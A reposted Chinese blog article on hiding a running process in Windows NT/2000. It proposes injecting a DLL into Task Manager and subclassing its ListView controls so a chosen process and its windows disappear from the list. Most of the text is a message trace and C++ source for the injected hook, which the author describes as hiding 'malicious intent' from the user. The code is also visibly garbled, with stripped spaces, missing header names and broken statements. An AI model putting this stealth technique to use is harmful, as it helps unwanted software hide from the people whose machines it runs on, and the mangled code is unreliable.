辣妈产后恢复:NT/2000下进程隐藏的新思路

来源:百度文库 编辑:中财网 时间:2024/05/02 06:21:42
NT/2000下进程隐藏的新思路 发布于:软件开发网 来源:互联网 作者:佚名 时间:2009-02-26 00:01


大家知道,在NT内核的操作系统中,要做进程的隐藏要比95/98下困难得多。目前网上流传的一般方法不外乎几种:

很多做法是让程序运行在别的进程的地址空间里,也就是创建远程线程来工作。这种方法事实上已经可以有很出色的效果了。要是非要挑它有什么毛病的话,我们可以说那不叫作真正的进程隐藏,因为根本没有实际的进程存在。
还有一种很高深的方法,能做到真正的进程隐藏。它用到了一些Windows没有公开的数据结构,这些资料我之前也没有见过(怪我太孤陋寡闻^_^!)。它的原作者也一定是个牛人了.这个方法也很有霸气,它会得到系统的进程链然后从中删掉要隐藏的进程节点,那么所有的进程管理程序就都看不到它了。其中所提供的代码我没有试验过,也略表示怀疑,觉得这种程序是否只有在内核态才能正常运行。无论怎样,据作者的说法,这样做会造成Windows运行不稳定,有时会出现窗口报错,而且因为使用了未公开的东西,具体原因也无从知道了。
再有我还能想到的方法,就是用全局的API钩子,或者至少对进程管理器下钩子,截获HelpTools之类进程枚举的API。这也只是想法,我没有试验过不保证它一定能工作。万一进程管理器使用的是未公开的API而并非你所挂钩的那些,这样做就是无效的。再有加全局API钩子的性能代价还是不小的。

在这里我给大家提供一种新的,实际上很简单但却有效的方法,或者说思路,就是我们不像第二种方法那样欺骗系统,而只是欺骗观众:进程管理器使用一个ListView32控件来显示进程,我们不妨把这个窗口子类化,接管它的行为,不让它显示我们要隐藏的进程。

有了想法,实现过程就简单了。我们先用SPY 跟踪一下这个窗口的消息,发现它的每个进程项是依照顺序从上到下填写进去的。我们只需要拦截住相应的填入动作就可以了。以下是剪下来的跟踪结果的一个片断,我们可以看看到底需要拦截哪些消息,相应的消息参数也要到msdn里去查一下。

<00335>0006087CS.LVM_GETITEMSTATEi:28mask:2
<00336>0006087CR.LVM_GETITEMSTATEflags:0
<00337>0006087CS.LVM_GETITEMRECTi:28prc:0007F4F0
<00338>0006087CR.LVM_GETITEMRECTfSucceeded:True
<00339>0006087CS.LVM_GETITEMSTATEi:29mask:2
<00340>0006087CR.LVM_GETITEMSTATEflags:0
<00341>0006087CS.LVM_GETITEMRECTi:29prc:0007F4F0
<00342>0006087CR.LVM_GETITEMRECTfSucceeded:True
<00343>0006087CRWM_ERASEBKGNDfErased:True
<00344>0006087CSWM_SETREDRAWfRedraw:False
<00345>0006087CRWM_SETREDRAW
<00346>0006087CSLVM_GETITEMCOUNT
<00347>0006087CRLVM_GETITEMCOUNTiCount:30
<00348>0006087CSLVM_GETNEXTITEMiStart:-1flags:LVNI_SELECTED
<00349>0006087CRLVM_GETNEXTITEMiIndex:0
<00350>0006087CSLVM_GETITEMWpitem:0007F804
<00351>0006087CRLVM_GETITEMWfSucceeded:True
<00352>0006087CSLVM_GETITEMWpitem:0007F880
<00353>0006087CRLVM_GETITEMWfSucceeded:True
<00354>0006087CSLVM_GETITEMWpitem:0007F880
<00355>0006087CRLVM_GETITEMWfSucceeded:True
<00356>0006087CSLVM_GETITEMWpitem:0007F880
<00357>0006087CRLVM_GETITEMWfSucceeded:True
<00358>0006087CSLVM_REDRAWITEMSiFirst:2iLast:0
<00359>0006087CRLVM_REDRAWITEMSfSucceeded:True
<00360>0006087CSLVM_GETITEMWpitem:0007F880
<00361>0006087CRLVM_GETITEMWfSucceeded:True
<00362>0006087CSLVM_GETITEMWpitem:0007F880

<00363>0006087CRLVM_GETITEMWfSucceeded:True
<00364>0006087CSLVM_GETITEMWpitem:0007F880
<00365>0006087CRLVM_GETITEMWfSucceeded:True
<00366>0006087CSLVM_REDRAWITEMSiFirst:5iLast:0
<00367>0006087CRLVM_REDRAWITEMSfSucceeded:True
<00368>0006087CSLVM_GETITEMWpitem:0007F880
<00369>0006087CRLVM_GETITEMWfSucceeded:True
<00370>0006087CSLVM_GETITEMWpitem:0007F880
<00371>0006087CRLVM_GETITEMWfSucceeded:True
<00372>0006087CSLVM_REDRAWITEMSiFirst:7iLast:0
<00373>0006087CRLVM_REDRAWITEMSfSucceeded:True
<00374>0006087CSLVM_GETITEMWpitem:0007F880
<00375>0006087CRLVM_GETITEMWfSucceeded:True
<00376>0006087CSLVM_GETITEMWpitem:0007F880
<00377>0006087CRLVM_GETITEMWfSucceeded:True
<00378>0006087CSLVM_GETITEMWpitem:0007F880
<00379>0006087CRLVM_GETITEMWfSucceeded:True
<00380>0006087CSLVM_GETITEMWpitem:0007F880
<00381>0006087CRLVM_GETITEMWfSucceeded:True
<00382>0006087CSLVM_REDRAWITEMSiFirst:11iLast:0
<00383>0006087CRLVM_REDRAWITEMSfSucceeded:True
<00384>0006087CSLVM_GETITEMWpitem:0007F880
<00385>0006087CRLVM_GETITEMWfSucceeded:True
<00386>0006087CSLVM_GETITEMWpitem:0007F880
<00387>0006087CRLVM_GETITEMWfSucceeded:True
<00388>0006087CSLVM_REDRAWITEMSiFirst:13iLast:0
<00389>0006087CRLVM_REDRAWITEMSfSucceeded:True

我们需要拦截的几个消息:
LVM_GETNEXTITEM:
LVM_REDRAWITEMS:
LVM_GETITEMRECT:
LVM_GETITEMSTATE:
LVM_GETITEMCOUNT:
LVM_GETITEM:
LVM_SETITEM:
LVM_INSERTITEM:
LVM_DELETEITEM:

大家注意,这些消息中大都有相应的信息指明这个ITEM在ListView中的位置,当然,如果我们从中间删掉一行或几行,这些位置肯定会发生变化的,如果我们仍然任由这些消息按照原来的方式传递下去,那里就会出现一些空白的或者没有刷新的行,我们的险恶用心也就暴露无余了。于是我们为了假装他们没有变化,必须作一些额外的工作。这可以抽象为:我们维护两个表,一个用来向用户反映他/她应该看到的信息,当然这是删除过ITEM以后的表;另一个向系统反映它应该“看到”的信息,这才是ListView的本来面目。我们在这两个表之间做一个相互位置关系的映射,把每个消息的指定的位置都映射之后再向下/向上传播,真正做到“欺上瞒下”。当然实现时并不真需要两个表,这只是一种抽象,你无论用什么手段,维护好这个映射关系就好了。


在这之前必须说明,基于NT的操作系统中,只能子类化属于自己进程的窗口,所以我们仍然需要创建一个远程线程,把进程管理器“黑”掉,来完成子类化的工作。这一类的方法网上随便找都能找到,我就不赘述了。

再补充一点就是任务管理器有两个类似的ListView32,一个用来显示进程,另一个用来显示窗口。如果你要隐藏的进程有窗口,你也要把这个ListView32也“黑”掉,方法完全相同,甚至行为也相同,所以我在代码中干脆稍动了点手脚来偷懒,使用同一个函数对他们进行子类化。还有一个小窗口用数字显示当前的进程数,没说的,干掉它。

当然这种方法的缺点也就不言自明:它只针对任务管理器,碰到其他的进程管理程序(比如xpProfessional的tasklist命令行工具)就无能为力了。

以下是最核心的那部分代码。我还写了一个类CPreventItemList,来维护上面所说的映射关系,就不贴上来了。它的几个函数很简单,代码中一看便知。大家可以自己随便实现一下,呵呵。水平实在有限,有什么错误遗漏大家帮我修正补充一下,代码写得挺差也没注释还望大家不要唾我。

//RemoteDll.cpp:DefinestheentrypointfortheDLLapplication.
//
#include"stdafx.h"
#include
#include
#include
#include"PreventItemList.h"
#pragmacomment(lib,"psapi.lib")
intHide();
intShow();
HWNDg_hWndWindowList=NULL;
HWNDg_hWndProcessList=NULL;
HWNDg_hWndDisplay=NULL;
WNDPROCg_pProcessListWndProc=NULL;
WNDPROCg_pWindowListWndProc=NULL;
WNDPROCg_pDisplayWndProc=NULL;
CPreventItemList*g_pProcessPreventList=NULL;
CPreventItemList*g_pWindowPreventList=NULL;

BOOLAPIENTRYDllMain(HANDLEhModule,
DWORD ul_reason_for_call,
LPVOIDlpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
Hide();
break;
caseDLL_PROCESS_DETACH:
Show();
break;
default:
returnTRUE;
}
returnTRUE;
}
typedefBOOL(*P_IsPreventListItem)(LPLVITEM);
BOOLIsPreventWindowListItem(LPLVITEMpItem)
{
DWORDdwProcessId;
HWNDhWnd=*(HWND*)(pItem->lParam);
GetWindowThreadProcessId(hWnd,&dwProcessId);
if(!dwProcessId)
{
returnFALSE;
}
HANDLEhProcess=OpenProcess(PROCESS_ALL_Access,FALSE,dwProcessId);
TCHARlpszProcessName[MAX_PATH];
GetModuleFileNameEx(hProcess,NULL,lpszProcessName,MAX_PATH);
CloseHandle(hProcess);
   TCHAR*pName=_tcsrchr(lpszProcessName,'\\');
if(pName)
{
pName;
}
else
{
pName=lpszProcessName;
}
return0==_tcsicmp(pName,TEXT("notepad.exe"));
}
BOOLIsPreventProcessListItem(LPLVITEMpItem)
{
return0==_tcsicmp(pItem->pszText,TEXT("notepad.exe"));
}
LRESULTCALLBACKNewListWndProc(HWNDhWnd,UINTmessage,WPARAMwParam,LPARAMlParam)
{
CPreventItemList**ppPreventList;
WNDPROCpWndProc;
P_IsPreventListItemIsPreventListItem;
   intnOldIndex,nNewIndex;
LPLVITEMpItem,pTmpItem;
LRESULTlResult;
   if(hWnd==g_hWndWindowList)
{
IsPreventListItem=IsPreventWindowListItem;
ppPreventList=&g_pWindowPreventList;
pWndProc=g_pWindowListWndProc;
}
elseif(hWnd==g_hWndProcessList)
{
IsPreventListItem=IsPreventProcessListItem;
ppPreventList=&g_pProcessPreventList;
pWndProc=g_pProcessListWndProc;
}
   if(!(*ppPreventList))
{
(*ppPreventList)=newCPreventItemList;
       intnCount=(int)CallWindowProc(pWndProc,hWnd,LVM_GETITEMCOUNT,0,0);
TCHARlpszText[MAX_PATH];
for(inti=0;i{
LVITEMoItem;
ZeroMemory(&oItem,sizeof(LVITEM));
oItem.mask=LVIF_TEXT|LVIF_STATE|LVIF_PARAM;
oItem.iItem=i;
oItem.pszText=lpszText;
oItem.cchTextMax=MAX_PATH;
CallWindowProc(pWndProc,hWnd,LVM_GETITEM,0,(LPARAM)&oItem);
if(IsPreventListItem(&oItem))
{
nOldIndex=(*ppPreventList)->GetOldIndexFromNew(i);
CallWindowProc(pWndProc,hWnd,LVM_DELETEITEM,i,0);
(*ppPreventList)->Insert(nOldIndex,&oItem);
--i;
--nCount;
}
}
}
   switch(message)
{
caseLVM_GETNEXTITEM:
nOldIndex=(int)wParam;
if(nOldIndex>=0)
{
nNewIndex=(*ppPreventList)->GetNewIndexFromOld(nOldIndex);
nNewIndex=nNewIndex<0?-nNewIndex:nNewIndex;
wParam=(WPARAM)nNewIndex;
}
lResult=CallWindowProc(pWndProc,hWnd,message,wParam,lParam);
lResult=(*ppPreventList)->GetOldIndexFromNew(lResult);
returnlResult;
   caseLVM_REDRAWITEMS:
caseLVM_GETITEMRECT:
caseLVM_GETITEMSTATE:
nOldIndex=(int)wParam;
nNewIndex=(*ppPreventList)->GetNewIndexFromOld(nOldIndex);
if(nNewIndex<0)
{
return0;
}
else
{
returnCallWindowProc(pWndProc,hWnd,message,(WPARAM)nNewIndex,lParam);
}
   caseLVM_GETITEMCOUNT:
lResult=(int)CallWindowProc(pWndProc,hWnd,LVM_GETITEMCOUNT,0,0);
lResult =(*ppPreventList)->GetCount();
returnlResult;
   caseLVM_GETITEM:
pItem=(LPLVITEM)lParam;
nOldIndex=pItem->iItem;
if(0==(*ppPreventList)->Find(nOldIndex,&pTmpItem))
{
memcpy(pItem,pTmpItem,sizeof(LVITEM));
pItem->iItem=nOldIndex;
lResult=TRUE;
}
else
{
nNewIndex=(*ppPreventList)->GetNewIndexFromOld(nOldIndex);
pItem->iItem=nNewIndex;
lResult=CallWindowProc(pWndProc,hWnd,message,wParam,lParam);
pItem->iItem=nOldIndex;
}
returnlResult;
   caseLVM_SETITEM:
pItem=(LPLVITEM)lParam;
nOldIndex=pItem->iItem;
nNewIndex=(*ppPreventList)->GetNewIndexFromOld(nOldIndex);
       if(IsPreventListItem(pItem))
{
if(0==(*ppPreventList)->Find(nOldIndex,&pTmpItem))
{
memcpy(pTmpItem,pItem,sizeof(LVITEM));
lResult=TRUE;
}
else
{
lResult=CallWindowProc(pWndProc,hWnd,LVM_DELETEITEM,nNewIndex,0);
(*ppPreventList)->Insert(nOldIndex,pItem);
}
}
else
{
if(0==(*ppPreventList)->Find(nOldIndex,&pTmpItem))
{
pItem->iItem=-nNewIndex;
lResult=CallWindowProc(pWndProc,hWnd,LVM_INSERTITEM,wParam,lParam);
(*ppPreventList)->Remove(nOldIndex);
}
else
{
pItem->iItem=nNewIndex;
lResult=CallWindowProc(pWndProc,hWnd,message,wParam,lParam);
}
pItem->iItem=nOldIndex;
}
returnlResult;
   caseLVM_INSERTITEM:
//sincetaskmgronlyinserttotheendofthelistview,weneen'dconsideroftheindex'schange.
pItem=(LPLVITEM)lParam;
nOldIndex=pItem->iItem;
nNewIndex=(*ppPreventList)->GetNewIndexFromOld(nOldIndex);
       if(IsPreventListItem(pItem))
{
(*ppPreventList)->Insert(nOldIndex,pItem);
lResult=TRUE;
}
else
{
if(0==(*ppPreventList)->Find(nOldIndex,&pTmpItem))
{
pItem->iItem=-nNewIndex;
lResult=CallWindowProc(pWndProc,hWnd,message,wParam,lParam);
(*ppPreventList)->Remove(nOldIndex);
}
else
{
pItem->iItem=nNewIndex;
lResult=CallWindowProc(pWndProc,hWnd,message,wParam,lParam);
}
pItem->iItem=nOldIndex;
}
returnlResult;
   caseLVM_DELETEITEM:
nOldIndex=(int)wParam;
nNewIndex=(*ppPreventList)->GetNewIndexFromOld(nOldIndex);
       if(0==(*ppPreventList)->Find(nOldIndex,&pTmpItem))
{
(*ppPreventList)->Remove(nOldIndex);
lResult=TRUE;
}
else
{
lResult=CallWindowProc(pWndProc,hWnd,message,(WPARAM)nNewIndex,lParam);
}
returnlResult;
   default:
lResult=CallWindowProc(pWndProc,hWnd,message,wParam,lParam);
}
returnlResult;
}
LRESULTDisplayWndProc(HWNDhWnd,UINTmessage,WPARAMwParam,LPARAMlParam)
{
LRESULTlResult;
switch()
{
caseWM_SETTEXT:
LPTSTRlpszText=lParam;
break;
   default:
lResult=CallWindowProc(g_pDisplayWndProc,hWnd,message,wParam,lParam);
}
returnlResult;
}
intHide()
{
HWNDhManagerWnd=FindWindowA("#32770","Windows任务管理器");
   HWNDhWndDisplay=GetDlgItem(hManagerWnd,0x00000064);
HWNDhWndParent=GetWindow(hManagerWnd,GW_CHILD);
do
{
if(!g_hWndWindowList)
{
g_hWndWindowList=GetDlgItem(hWndParent,0x0000041d);
}
if(!g_hWndProcessList)
{
g_hWndProcessList=GetDlgItem(hWndParent,0x000003f1);
}
hWndParent=GetWindow(hWndParent,GW_HWNDNEXT);
}while(hWndParent&&(!g_hWndProcessList||!g_hWndWindowList));
   g_pWindowListWndProc=(WNDPROC)SetWindowLongPtr(g_hWndWindowList,GWLP_WNDPROC,(LONG_PTR)NewListWndProc);
g_pProcessListWndProc=(WNDPROC)SetWindowLongPtr(g_hWndProcessList,GWLP_WNDPROC,(LONG_PTR)NewListWndProc);
if(!g_pProcessListWndProc||!g_pWindowListWndProc)
{
return1;
}
return0;
}
intShow()
{
if(g_pWindowListWndProc)
{
SetWindowLongPtr(g_hWndWindowList,GWLP_WNDPROC,(LONG_PTR)g_pWindowListWndProc);
}
if(g_pProcessListWndProc)
{
SetWindowLongPtr(g_hWndProcessList,GWLP_WNDPROC,(LONG_PTR)g_pProcessListWndProc);
}
   if(g_pProcessPreventList)
{
deleteg_pProcessPreventList;
g_pProcessPreventList=NULL;
}
if(g_pWindowPreventList)
{
deleteg_pWindowPreventList;
g_pWindowPreventList=NULL;
}
return0;
}

原创作者Foreverflying,可以随意转载,请不要删除此行。